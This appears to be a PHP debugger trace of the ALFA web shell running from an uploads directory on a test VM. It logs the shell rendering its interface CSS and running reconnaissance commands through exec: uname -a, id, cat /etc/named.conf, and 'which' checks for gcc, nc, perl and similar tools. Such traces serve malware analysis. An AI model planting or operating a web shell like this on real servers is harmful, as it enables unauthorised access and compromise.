4 A /var/www/html/uploads/hw0.php 636 $code = 'color: #67ABDF;'
4 A /var/www/html/uploads/hw0.php 637 $css .= '.ml1{color: #67ABDF;}'
4 A /var/www/html/uploads/hw0.php 628 $key = 'outputs_border'
4 A /var/www/html/uploads/hw0.php 634 $k = '.ml1'
5 237 0 0.025722 2802144 alfa_getColor 1 /var/www/html/uploads/hw0.php 635 1 'outputs_border'
5 A /var/www/html/uploads/hw0.php 618 $target = ['key_color' => '#0E304A', 'multi_selector' => ['.ml1' => 'border: 1px solid {color};']]
5 237 1 0.025753 2802144
5 237 R '#0E304A'
4 A /var/www/html/uploads/hw0.php 635 $color = '#0E304A'
5 238 0 0.025777 2802144 str_replace 0 /var/www/html/uploads/hw0.php 636 3 '{color}' '#0E304A' 'border: 1px solid {color};'
5 238 1 0.025793 2802296
5 238 R 'border: 1px solid #0E304A;'
4 A /var/www/html/uploads/hw0.php 636 $code = 'border: 1px solid #0E304A;'
4 A /var/www/html/uploads/hw0.php 637 $css .= '.ml1{border: 1px solid #0E304A;}'
4 A /var/www/html/uploads/hw0.php 628 $key = 'uploader_border'
4 A /var/www/html/uploads/hw0.php 634 $k = '.inputfile'
5 239 0 0.025853 2802160 alfa_getColor 1 /var/www/html/uploads/hw0.php 635 1 'uploader_border'
5 A /var/www/html/uploads/hw0.php 618 $target = ['key_color' => '#0E304A', 'multi_selector' => ['.inputfile' => 'box-shadow:0 0 4px {color};border:1px solid {color};']]
5 239 1 0.025886 2802160
5 239 R '#0E304A'
4 A /var/www/html/uploads/hw0.php 635 $color = '#0E304A'
5 240 0 0.025910 2802160 str_replace 0 /var/www/html/uploads/hw0.php 636 3 '{color}' '#0E304A' 'box-shadow:0 0 4px {color};border:1px solid {color};'
5 240 1 0.025927 2802336
5 240 R 'box-shadow:0 0 4px #0E304A;border:1px solid #0E304A;'
4 A /var/www/html/uploads/hw0.php 636 $code = 'box-shadow:0 0 4px #0E304A;border:1px solid #0E304A;'
4 A /var/www/html/uploads/hw0.php 637 $css .= '.inputfile{box-shadow:0 0 4px #0E304A;border:1px solid #0E304A;}'
4 A /var/www/html/uploads/hw0.php 628 $key = 'uploader_background'
4 A /var/www/html/uploads/hw0.php 634 $k = '.inputfile strong'
5 241 0 0.025991 2802184 alfa_getColor 1 /var/www/html/uploads/hw0.php 635 1 'uploader_background'
5 A /var/www/html/uploads/hw0.php 618 $target = ['key_color' => '#0E304A', 'multi_selector' => ['.inputfile strong' => 'background-color: {color};']]
5 241 1 0.026023 2802184
5 241 R '#0E304A'
4 A /var/www/html/uploads/hw0.php 635 $color = '#0E304A'
5 242 0 0.026047 2802184 str_replace 0 /var/www/html/uploads/hw0.php 636 3 '{color}' '#0E304A' 'background-color: {color};'
5 242 1 0.026063 2802336
5 242 R 'background-color: #0E304A;'
4 A /var/www/html/uploads/hw0.php 636 $code = 'background-color: #0E304A;'
4 A /var/www/html/uploads/hw0.php 637 $css .= '.inputfile strong{background-color: #0E304A;}'
4 A /var/www/html/uploads/hw0.php 628 $key = 'uploader_text_right'
4 A /var/www/html/uploads/hw0.php 634 $k = '.inputfile strong'
5 243 0 0.026124 2802160 alfa_getColor 1 /var/www/html/uploads/hw0.php 635 1 'uploader_text_right'
5 A /var/www/html/uploads/hw0.php 618 $target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.inputfile strong' => 'color: {color};']]
5 243 1 0.026153 2802160
5 243 R '#FFFFFF'
4 A /var/www/html/uploads/hw0.php 635 $color = '#FFFFFF'
5 244 0 0.026180 2802160 str_replace 0 /var/www/html/uploads/hw0.php 636 3 '{color}' '#FFFFFF' 'color: {color};'
5 244 1 0.026196 2802296
5 244 R 'color: #FFFFFF;'
4 A /var/www/html/uploads/hw0.php 636 $code = 'color: #FFFFFF;'
4 A /var/www/html/uploads/hw0.php 637 $css .= '.inputfile strong{color: #FFFFFF;}'
4 A /var/www/html/uploads/hw0.php 628 $key = 'uploader_text_left'
4 A /var/www/html/uploads/hw0.php 634 $k = '.inputfile span'
5 245 0 0.026254 2802144 alfa_getColor 1 /var/www/html/uploads/hw0.php 635 1 'uploader_text_left'
5 A /var/www/html/uploads/hw0.php 618 $target = ['key_color' => '#25ff00', 'multi_selector' => ['.inputfile span' => 'color: {color};']]
5 245 1 0.026284 2802144
5 245 R '#25ff00'
4 A /var/www/html/uploads/hw0.php 635 $color = '#25ff00'
5 246 0 0.026307 2802144 str_replace 0 /var/www/html/uploads/hw0.php 636 3 '{color}' '#25ff00' 'color: {color};'
5 246 1 0.026323 2802280
5 246 R 'color: #25ff00;'
4 A /var/www/html/uploads/hw0.php 636 $code = 'color: #25ff00;'
4 A /var/www/html/uploads/hw0.php 637 $css .= '.inputfile span{color: #25ff00;}'
4 A /var/www/html/uploads/hw0.php 628 $key = 'uploader:hover'
4 A /var/www/html/uploads/hw0.php 634 $k = '.inputfile:hover'
5 247 0 0.026381 2802144 alfa_getColor 1 /var/www/html/uploads/hw0.php 635 1 'uploader:hover'
5 A /var/www/html/uploads/hw0.php 618 $target = ['key_color' => '#27979B', 'multi_selector' => ['.inputfile:hover' => 'box-shadow:0 0 4px {color};border:1px solid {color};']]
5 247 1 0.026412 2802144
5 247 R '#27979B'
4 A /var/www/html/uploads/hw0.php 635 $color = '#27979B'
5 248 0 0.026436 2802144 str_replace 0 /var/www/html/uploads/hw0.php 636 3 '{color}' '#27979B' 'box-shadow:0 0 4px {color};border:1px solid {color};'
5 248 1 0.026453 2802320
5 248 R 'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
4 A /var/www/html/uploads/hw0.php 636 $code = 'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
4 A /var/www/html/uploads/hw0.php 637 $css .= '.inputfile:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;}'
4 A /var/www/html/uploads/hw0.php 628 $key = 'uploader_progress_bar'
4 A /var/www/html/uploads/hw0.php 634 $k = '.up_bar'
5 249 0 0.026517 2802184 alfa_getColor 1 /var/www/html/uploads/hw0.php 635 1 'uploader_progress_bar'
5 A /var/www/html/uploads/hw0.php 618 $target = ['key_color' => '#00ff00', 'multi_selector' => ['.up_bar' => 'background-color: {color};']]
5 249 1 0.026547 2802184
5 249 R '#00ff00'
4 A /var/www/html/uploads/hw0.php 635 $color = '#00ff00'
5 250 0 0.026570 2802184 str_replace 0 /var/www/html/uploads/hw0.php 636 3 '{color}' '#00ff00' 'background-color: {color};'
5 250 1 0.026587 2802336
5 250 R 'background-color: #00ff00;'
4 A /var/www/html/uploads/hw0.php 636 $code = 'background-color: #00ff00;'
4 A /var/www/html/uploads/hw0.php 637 $css .= '.up_bar{background-color: #00ff00;}'
4 A /var/www/html/uploads/hw0.php 628 $key = 'mysql_tables'
5 251 0 0.026635 2802160 alfa_getColor 1 /var/www/html/uploads/hw0.php 630 1 'mysql_tables'
5 A /var/www/html/uploads/hw0.php 618 $target = '#00FF00'
5 251 1 0.026659 2802160
5 251 R '#00FF00'
4 A /var/www/html/uploads/hw0.php 630 $value = '#00FF00'
4 A /var/www/html/uploads/hw0.php 631 $css .= '.mysql_tables{color: #00FF00;}'
4 A /var/www/html/uploads/hw0.php 628 $key = 'mysql_table_count'
5 252 0 0.026705 2802160 alfa_getColor 1 /var/www/html/uploads/hw0.php 630 1 'mysql_table_count'
5 A /var/www/html/uploads/hw0.php 618 $target = '#67ABDF'
5 252 1 0.026729 2802160
5 252 R '#67ABDF'
4 A /var/www/html/uploads/hw0.php 630 $value = '#67ABDF'
4 A /var/www/html/uploads/hw0.php 631 $css .= '.mysql_table_count{color: #67ABDF;}'
4 A /var/www/html/uploads/hw0.php 628 $key = 'copyright'
5 253 0 0.026775 2802160 alfa_getColor 1 /var/www/html/uploads/hw0.php 630 1 'copyright'
5 A /var/www/html/uploads/hw0.php 618 $target = '#dfff00'
5 253 1 0.026803 2802160
5 253 R '#dfff00'
4 A /var/www/html/uploads/hw0.php 630 $value = '#dfff00'
4 A /var/www/html/uploads/hw0.php 631 $css .= '.copyright{color: #dfff00;}'
4 A /var/www/html/uploads/hw0.php 628 $key = 'scrollbar'
4 A /var/www/html/uploads/hw0.php 634 $k = '*::-webkit-scrollbar-thumb'
5 254 0 0.026859 2802160 alfa_getColor 1 /var/www/html/uploads/hw0.php 635 1 'scrollbar'
5 A /var/www/html/uploads/hw0.php 618 $target = ['key_color' => '#1e82b5', 'multi_selector' => ['*::-webkit-scrollbar-thumb' => 'background-color: {color};']]
5 254 1 0.026889 2802160
5 254 R '#1e82b5'
4 A /var/www/html/uploads/hw0.php 635 $color = '#1e82b5'
5 255 0 0.026913 2802160 str_replace 0 /var/www/html/uploads/hw0.php 636 3 '{color}' '#1e82b5' 'background-color: {color};'
5 255 1 0.026929 2802312
5 255 R 'background-color: #1e82b5;'
4 A /var/www/html/uploads/hw0.php 636 $code = 'background-color: #1e82b5;'
4 A /var/www/html/uploads/hw0.php 637 $css .= '*::-webkit-scrollbar-thumb{background-color: #1e82b5;}'
4 A /var/www/html/uploads/hw0.php 628 $key = 'scrollbar_background'
4 A /var/www/html/uploads/hw0.php 634 $k = '*::-webkit-scrollbar-track'
5 256 0 0.026992 2803184 alfa_getColor 1 /var/www/html/uploads/hw0.php 635 1 'scrollbar_background'
5 A /var/www/html/uploads/hw0.php 618 $target = ['key_color' => '#000115', 'multi_selector' => ['*::-webkit-scrollbar-track' => 'background-color: {color};']]
5 256 1 0.027024 2803184
5 256 R '#000115'
4 A /var/www/html/uploads/hw0.php 635 $color = '#000115'
5 257 0 0.027047 2803184 str_replace 0 /var/www/html/uploads/hw0.php 636 3 '{color}' '#000115' 'background-color: {color};'
5 257 1 0.027063 2803336
5 257 R 'background-color: #000115;'
4 A /var/www/html/uploads/hw0.php 636 $code = 'background-color: #000115;'
4 A /var/www/html/uploads/hw0.php 637 $css .= '*::-webkit-scrollbar-track{background-color: #000115;}'
4 126 1 0.027102 2803128
4 126 R '.header{border: 7px solid #0E304A}#meunlist{border-color: #0E304A}#hidden_sh{background-color: #0E304A}.ajaxarea{border: 1px solid #0E304A}.foot{border-color: #0E304A}.header_vars{color: #27979B;}.header_values{color: #67ABDF;}.header_on{color: #00FF00;}.header_off{color: #ff0000;}.header_none{color: #00FF00;}.home_shell{color: #ff0000;}.home_shell:hover{color: #FFFFFF;}.back_shell{color: #efbe73;}.back_shell:hover{color: #FFFFFF;}.header_pwd{color: #00FF00;}.header_pwd:hover{color: #FFFFFF;}.header_drive{c'
4 258 0 0.027352 2786744 htmlspecialchars 0 /var/www/html/uploads/hw0.php 1073 1 '/var/www/html/uploads/'
4 258 1 0.027371 2786936
4 258 R '/var/www/html/uploads/'
4 259 0 0.027387 2786856 htmlspecialchars 0 /var/www/html/uploads/hw0.php 1074 1 'FilesMan2'
4 259 1 0.027401 2787048
4 259 R 'FilesMan2'
4 260 0 0.027416 2786904 htmlspecialchars 0 /var/www/html/uploads/hw0.php 1075 1 'Windows-1251'
4 260 1 0.027430 2787096
4 260 R 'Windows-1251'
4 261 0 0.028207 2799032 __showicon 1 /var/www/html/uploads/hw0.php 1086 1 'loader'
4 A /var/www/html/uploads/hw0.php 1237 $s['btn'] = 'http://solevisible.com/images/btn.png'
4 A /var/www/html/uploads/hw0.php 1238 $s['alfamini'] = 'http://solevisible.com/images/alfamini.png'
4 A /var/www/html/uploads/hw0.php 1239 $s['loader'] = 'http://solevisible.com/images/loader.svg'
4 261 1 0.028268 2799032
4 261 R 'http://solevisible.com/images/loader.svg'
4 262 0 0.028286 2799032 alfaEx 1 /var/www/html/uploads/hw0.php 1087 4 'uname -a' FALSE FALSE ???
5 263 0 0.028302 2799032 _alfa_php_cmd 1 /var/www/html/uploads/hw0.php 744 2 'uname -a' FALSE
5 A /var/www/html/uploads/hw0.php 758 $out = ''
6 264 0 0.028327 2799032 function_exists 0 /var/www/html/uploads/hw0.php 761 1 'exec'
6 264 1 0.028341 2799072
6 264 R TRUE
6 265 0 0.028355 2799056 exec 0 /var/www/html/uploads/hw0.php 762 2 'uname -a' ''
6 265 1 0.029650 2799816
6 265 R 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
6 266 0 0.029687 2799592 join 0 /var/www/html/uploads/hw0.php 763 2 '\n' [0 => 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux']
6 266 1 0.029709 2799656
6 266 R 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
5 A /var/www/html/uploads/hw0.php 763 $out = 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
5 263 1 0.029754 2799192
5 263 R 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
4 A /var/www/html/uploads/hw0.php 744 $data = 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
4 262 1 0.029790 2799192
4 262 R 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
3 A /var/www/html/uploads/hw0.php 1087 $cmd_uname = 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
4 267 0 0.029826 2799192 function_exists 0 /var/www/html/uploads/hw0.php 1088 1 'php_uname'
4 267 1 0.029840 2799232
4 267 R TRUE
4 268 0 0.029854 2799192 php_uname 0 /var/www/html/uploads/hw0.php 1088 0
4 268 1 0.029867 2799304
4 268 R 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
4 269 0 0.029886 2799304 substr 0 /var/www/html/uploads/hw0.php 1088 3 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64' 0 120
4 269 1 0.029904 2799400
4 269 R 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
3 A /var/www/html/uploads/hw0.php 1088 $uname = 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
3 A /var/www/html/uploads/hw0.php 1098 $s = 1
3 A /var/www/html/uploads/hw0.php 1098 $s++
3 A /var/www/html/uploads/hw0.php 1098 $s++
3 A /var/www/html/uploads/hw0.php 1098 $s++
3 A /var/www/html/uploads/hw0.php 1098 $s++
3 A /var/www/html/uploads/hw0.php 1098 $s++
3 A /var/www/html/uploads/hw0.php 1098 $s++
3 A /var/www/html/uploads/hw0.php 1098 $s++
3 A /var/www/html/uploads/hw0.php 1098 $s++
3 A /var/www/html/uploads/hw0.php 1098 $s++
3 A /var/www/html/uploads/hw0.php 1098 $s++
4 270 0 0.030030 2800584 phpversion 0 /var/www/html/uploads/hw0.php 1116 0
4 270 1 0.030042 2800648
4 270 R '7.2.34-37+ubuntu22.04.1+deb.sury.org+1'
4 271 0 0.030061 2801096 date 0 /var/www/html/uploads/hw0.php 1124 1 'Y-m-d H:i:s'
4 271 1 0.030123 2803448
4 271 R '2023-02-12 16:22:55'
4 272 0 0.030146 2801368 _alfa_file 1 /var/www/html/uploads/hw0.php 1130 2 '/etc/named.conf' FALSE
5 273 0 0.030161 2801368 file 0 /var/www/html/uploads/hw0.php 2507 1 '/etc/named.conf'
5 273 1 0.030188 2801520
5 273 R FALSE
4 A /var/www/html/uploads/hw0.php 2507 $array = FALSE
5 274 0 0.030213 2801480 alfaEx 1 /var/www/html/uploads/hw0.php 2509 4 'id' FALSE FALSE ???
6 275 0 0.030228 2801480 _alfa_php_cmd 1 /var/www/html/uploads/hw0.php 744 2 'id' FALSE
6 A /var/www/html/uploads/hw0.php 758 $out = ''
7 276 0 0.030251 2801480 function_exists 0 /var/www/html/uploads/hw0.php 761 1 'exec'
7 276 1 0.030265 2801520
7 276 R TRUE
7 277 0 0.030278 2801504 exec 0 /var/www/html/uploads/hw0.php 762 2 'id' ''
7 277 1 0.031629 2802104
7 277 R 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
7 278 0 0.031656 2801960 join 0 /var/www/html/uploads/hw0.php 763 2 '\n' [0 => 'uid=33(www-data) gid=33(www-data) groups=33(www-data)']
7 278 1 0.031675 2802024
7 278 R 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
6 A /var/www/html/uploads/hw0.php 763 $out = 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
6 275 1 0.031705 2801560
6 275 R 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
5 A /var/www/html/uploads/hw0.php 744 $data = 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
5 274 1 0.031734 2801560
5 274 R 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
5 279 0 0.031751 2801480 addslashes 0 /var/www/html/uploads/hw0.php 2510 1 '/etc/named.conf'
5 279 1 0.031765 2801512
5 279 R '/etc/named.conf'
5 280 0 0.031780 2801528 alfaEx 1 /var/www/html/uploads/hw0.php 2510 4 'cat "/etc/named.conf"' FALSE FALSE ???
6 281 0 0.031795 2801528 _alfa_php_cmd 1 /var/www/html/uploads/hw0.php 744 2 'cat "/etc/named.conf"' FALSE
6 A /var/www/html/uploads/hw0.php 758 $out = ''
7 282 0 0.031827 2801528 function_exists 0 /var/www/html/uploads/hw0.php 761 1 'exec'
7 282 1 0.031840 2801568
7 282 R TRUE
7 283 0 0.031854 2801552 exec 0 /var/www/html/uploads/hw0.php 762 2 'cat "/etc/named.conf"' ''
7 283 1 0.032946 2801672
7 283 R ''
7 284 0 0.032969 2801608 join 0 /var/www/html/uploads/hw0.php 763 2 '\n' []
7 284 1 0.032984 2801672
7 284 R ''
6 A /var/www/html/uploads/hw0.php 763 $out = ''
6 281 1 0.033011 2801528
6 281 R ''
5 A /var/www/html/uploads/hw0.php 744 $data = ''
5 280 1 0.033034 2801528
5 280 R ''
4 A /var/www/html/uploads/hw0.php 2510 $data = ''
4 272 1 0.033058 2801480
4 272 R FALSE
3 A /var/www/html/uploads/hw0.php 1130 $d0mains = FALSE
3 A /var/www/html/uploads/hw0.php 1131 GLOBALS['need_to_update_header'] = 'true'
4 285 0 0.033097 2801480 alfaSize 1 /var/www/html/uploads/hw0.php 1146 1 232015802368
5 286 0 0.033113 2801480 sprintf 0 /var/www/html/uploads/hw0.php 2411 2 '%1.2f' 216.08155441284
5 286 1 0.033129 2801864
5 286 R '216.08'
4 285 1 0.033143 2801520
4 285 R '216.08 GB'
4 287 0 0.033157 2801704 alfaSize 1 /var/www/html/uploads/hw0.php 1146 1 209226104832
5 288 0 0.033170 2801704 sprintf 0 /var/www/html/uploads/hw0.php 2411 2 '%1.2f' 194.85699462891
5 288 1 0.033185 2802088
5 288 R '194.86'
4 287 1 0.033199 2801744
4 287 R '194.86 GB'
3 A /var/www/html/uploads/hw0.php 1149 $useful_downloader = '<tr><td height="18" colspan="2"><span class="header_vars">useful:</span><span class="header_values" id="header_useful">--------------</span></td></tr><td height="0" colspan="2"><span class="header_vars">Downloader: </span><span class="header_values" id="header_downloader">--------------</span></td></tr>'
4 289 0 0.033242 2801480 ini_get 0 /var/www/html/uploads/hw0.php 1150 1 'safe_mode'
4 289 1 0.033256 2801512
4 289 R FALSE
4 290 0 0.033270 2801480 alfaEx 1 /var/www/html/uploads/hw0.php 1151 4 'id' FALSE FALSE ???
5 291 0 0.033284 2801480 _alfa_php_cmd 1 /var/www/html/uploads/hw0.php 744 2 'id' FALSE
5 A /var/www/html/uploads/hw0.php 758 $out = ''
6 292 0 0.033307 2801480 function_exists 0 /var/www/html/uploads/hw0.php 761 1 'exec'
6 292 1 0.033320 2801520
6 292 R TRUE
6 293 0 0.033333 2801504 exec 0 /var/www/html/uploads/hw0.php 762 2 'id' ''
6 293 1 0.034632 2802104
6 293 R 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
6 294 0 0.034661 2801960 join 0 /var/www/html/uploads/hw0.php 763 2 '\n' [0 => 'uid=33(www-data) gid=33(www-data) groups=33(www-data)']
6 294 1 0.034679 2802024
6 294 R 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
5 A /var/www/html/uploads/hw0.php 763 $out = 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
5 291 1 0.034710 2801560
5 291 R 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
4 A /var/www/html/uploads/hw0.php 744 $data = 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
4 290 1 0.034739 2801560
4 290 R 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
3 A /var/www/html/uploads/hw0.php 1153 $userful = [0 => 'gcc', 1 => 'lcc', 2 => 'cc', 3 => 'ld', 4 => 'make', 5 => 'php', 6 => 'perl', 7 => 'python', 8 => 'ruby', 9 => 'tar', 10 => 'gzip', 11 => 'bzip', 12 => 'bzialfa2', 13 => 'nc', 14 => 'locate', 15 => 'suidperl']
3 A /var/www/html/uploads/hw0.php 1154 $x = 0
4 295 0 0.034792 2801480 alfaWhich 1 /var/www/html/uploads/hw0.php 1155 1 'gcc'
5 296 0 0.034806 2801520 alfaEx 1 /var/www/html/uploads/hw0.php 2404 4 'which gcc' FALSE FALSE ???
6 297 0 0.034820 2801520 _alfa_php_cmd 1 /var/www/html/uploads/hw0.php 744 2 'which gcc' FALSE
6 A /var/www/html/uploads/hw0.php 758 $out = ''
7 298 0 0.034844 2801520 function_exists 0 /var/www/html/uploads/hw0.php 761 1 'exec'
7 298 1 0.034857 2801560
7 298 R TRUE
7 299 0 0.034870 2801544 exec 0 /var/www/html/uploads/hw0.php 762 2 'which gcc' ''
7 299 1 0.035908 2802064
7 299 R '/usr/bin/gcc'
7 300 0 0.035932 2801960 join 0 /var/www/html/uploads/hw0.php 763 2 '\n' [0 => '/usr/bin/gcc']
7 300 1 0.035949 2802024
7 300 R '/usr/bin/gcc'
6 A /var/www/html/uploads/hw0.php 763 $out = '/usr/bin/gcc'
6 297 1 0.035977 2801560
6 297 R '/usr/bin/gcc'
5 A /var/www/html/uploads/hw0.php 744 $data = '/usr/bin/gcc'
5 296 1 0.036008 2801560
5 296 R '/usr/bin/gcc'
4 A /var/www/html/uploads/hw0.php 2404 $path = '/usr/bin/gcc'
4 295 1 0.036034 2801480
4 295 R 12
3 A /var/www/html/uploads/hw0.php 1155 $x++
4 301 0 0.036058 2801480 alfaWhich 1 /var/www/html/uploads/hw0.php 1155 1 'lcc'
5 302 0 0.036072 2801520 alfaEx 1 /var/www/html/uploads/hw0.php 2404 4 'which lcc' FALSE FALSE ???
6 303 0 0.036085 2801520 _alfa_php_cmd 1 /var/www/html/uploads/hw0.php 744 2 'which lcc' FALSE
6 A /var/www/html/uploads/hw0.php 758 $out = ''
7 304 0 0.036110 2801520 function_exists 0 /var/www/html/uploads/hw0.php 761 1 'exec'
7 304 1 0.036124 2801560
7 304 R TRUE
7 305 0 0.036137 2801544 exec 0 /var/www/html/uploads/hw0.php 762 2 'which lcc' ''
7 305 1 0.037132 2801664
7 305 R ''
7 306 0 0.037153 2801600 join 0 /var/www/html/uploads/hw0.php 763 2 '\n' []
7 306 1 0.037168 2801664
7 306 R ''
6 A /var/www/html/uploads/hw0.php 763 $out = ''
6 303 1 0.037194 2801520
6 303 R ''
5 A /var/www/html/uploads/hw0.php 744 $data = ''
5 302 1 0.037227 2801520
5 302 R ''
4 A /var/www/html/uploads/hw0.php 2404 $path = ''
4 301 1 0.037250 2801480
4 301 R FALSE
4 307 0 0.037264 2801480 alfaWhich 1 /var/www/html/uploads/hw0.php 1155 1 'cc'
5 308 0 0.037278 2801520 alfaEx 1 /var/www/html/uploads/hw0.php 2404 4 'which cc' FALSE FALSE ???
6 309 0 0.037292 2801520 _alfa_php_cmd 1 /var/www/html/uploads/hw0.php 744 2 'which cc' FALSE
6 A /var/www/html/uploads/hw0.php 758 $out = ''
7 310 0 0.037328 2801520 function_exists 0 /var/www/html/uploads/hw0.php 761 1 'exec'
7 310 1 0.037342 2801560
7 310 R TRUE
7 311 0 0.037355 2801544 exec 0 /var/www/html/uploads/hw0.php 762 2 'which cc' ''
7 311 1 0.038603 2802064
7 311 R '/usr/bin/cc'
7 312 0 0.038652 2801960 join 0 /var/www/html/uploads/hw0.php 763 2 '\n' [0 => '/usr/bin/cc']
7 312 1 0.038678 2802024
7 312 R '/usr/bin/cc'
6 A /var/www/html/uploads/hw0.php 763 $out = '/usr/bin/cc'
6 309 1 0.038721 2801560
6 309 R '/usr/bin/cc'
5 A /var/www/html/uploads/hw0.php 744 $data = '/usr/bin/cc'
5 308 1 0.038760 2801560
5 308 R '/usr/bin/cc'
4 A /var/www/html/uploads/hw0.php 2404 $path = '/usr/bin/cc'
4 307 1 0.038798 2801480
4 307 R 11
3 A /var/www/html/uploads/hw0.php 1155 $x++
4 313 0 0.038838 2801480 alfaWhich 1 /var/www/html/uploads/hw0.php 1155 1 'ld'
5 314 0 0.038857 2801520 alfaEx 1 /var/www/html/uploads/hw0.php 2404 4 'which ld' FALSE FALSE ???
6 315 0 0.038878 2801520 _alfa_php_cmd 1 /var/www/html/uploads/hw0.php 744 2 'which ld' FALSE
6 A /var/www/html/uploads/hw0.php 758 $out = ''
7 316 0 0.038915 2801520 function_exists 0 /var/www/html/uploads/hw0.php 761 1 'exec'
7 316 1 0.038937 2801560
7 316 R TRUE
7 317 0 0.038957 2801544 exec 0 /var/www/html/uploads/hw0.php 762 2 'which ld' ''
7 317 1 0.040396 2802064
7 317 R '/usr/bin/ld'
7 318 0 0.040434 2801960 join 0 /var/www/html/uploads/hw0.php 763 2 '\n' [0 => '/usr/bin/ld']
7 318 1 0.040453 2802024
7 318 R '/usr/bin/ld'
6 A /var/www/html/uploads/hw0.php 763 $out = '/usr/bin/ld'
6 315 1 0.040481 2801560
6 315 R '/usr/bin/ld'
5 A /var/www/html/uploads/hw0.php 744 $data = '/usr/bin/ld'
5 314 1 0.040507 2801560
5 314 R '/usr/bin/ld'
4 A /var/www/html/uploads/hw0.php 2404 $path = '/usr/bin/ld'
4 313 1 0.040533 2801480
4 313 R 11
3 A /var/www/html/uploads/hw0.php 1155 $x++
4 319 0 0.040560 2801480 alfaWhich 1 /var/www/html/uploads/hw0.php 1155 1 'make'
5 320 0 0.040574 2801520 alfaEx 1 /var/www/html/uploads/hw0.php 2404 4 'which make' FALSE FALSE ???
6 321 0 0.040588 2801520 _alfa_php_cmd 1 /var/www/html/uploads/hw0.php 744 2 'which make' FALSE
6 A /var/www/html/uploads/hw0.php 758 $out = ''
7 322 0 0.041486 2801520 function_exists 0 /var/www/html/uploads/hw0.php 761 1 'exec'
7 322 1 0.041507 2801560
7 322 R TRUE
7 323 0 0.041521 2801544 exec 0 /var/www/html/uploads/hw0.php 762 2 'which make' ''
7 323 1 0.042838 2802064
7 323 R '/usr/bin/make'
7 324 0 0.042863 2801960 join 0 /var/www/html/uploads/hw0.php 763 2 '\n' [0 => '/usr/bin/make']
7 324 1 0.042881 2802024
7 324 R '/usr/bin/make'
6 A /var/www/html/uploads/hw0.php 763 $out = '/usr/bin/make'
6 321 1 0.042908 2801560
6 321 R '/usr/bin/make'
5 A /var/www/html/uploads/hw0.php 744 $data = '/usr/bin/make'
5 320 1 0.042934 2801560
5 320 R '/usr/bin/make'
4 A /var/www/html/uploads/hw0.php 2404 $path = '/usr/bin/make'
4 319 1 0.042958 2801480
4 319 R 13
3 A /var/www/html/uploads/hw0.php 1155 $x++
4 325 0 0.042983 2801480 alfaWhich 1 /var/www/html/uploads/hw0.php 1155 1 'php'
5 326 0 0.042996 2801520 alfaEx 1 /var/www/html/uploads/hw0.php 2404 4 'which php' FALSE FALSE ???
6 327 0 0.043010 2801520 _alfa_php_cmd 1 /var/www/html/uploads/hw0.php 744 2 'which php' FALSE
6 A /var/www/html/uploads/hw0.php 758 $out = ''
7 328 0 0.043034 2801520 function_exists 0 /var/www/html/uploads/hw0.php 761 1 'exec'
7 328 1 0.043048 2801560
7 328 R TRUE
7 329 0 0.043061 2801544 exec 0 /var/www/html/uploads/hw0.php 762 2 'which php' ''
7 329 1 0.044259 2802064
7 329 R '/usr/bin/php'
7 330 0 0.044284 2801960 join 0 /var/www/html/uploads/hw0.php 763 2 '\n' [0 => '/usr/bin/php']
7 330 1 0.044301 2802024
7 330 R '/usr/bin/php'
6 A /var/www/html/uploads/hw0.php 763 $out = '/usr/bin/php'
6 327 1 0.044327 2801560
6 327 R '/usr/bin/php'
5 A /var/www/html/uploads/hw0.php 744 $data = '/usr/bin/php'
5 326 1 0.044354 2801560
5 326 R '/usr/bin/php'
4 A /var/www/html/uploads/hw0.php 2404 $path = '/usr/bin/php'
4 325 1 0.044378 2801480
4 325 R 12
3 A /var/www/html/uploads/hw0.php 1155 $x++
4 331 0 0.044402 2801480 alfaWhich 1 /var/www/html/uploads/hw0.php 1155 1 'perl'
5 332 0 0.044415 2801520 alfaEx 1 /var/www/html/uploads/hw0.php 2404 4 'which perl' FALSE FALSE ???
6 333 0 0.044430 2801520 _alfa_php_cmd 1 /var/www/html/uploads/hw0.php 744 2 'which perl' FALSE
6 A /var/www/html/uploads/hw0.php 758 $out = ''
7 334 0 0.044454 2801520 function_exists 0 /var/www/html/uploads/hw0.php 761 1 'exec'
7 334 1 0.044467 2801560
7 334 R TRUE
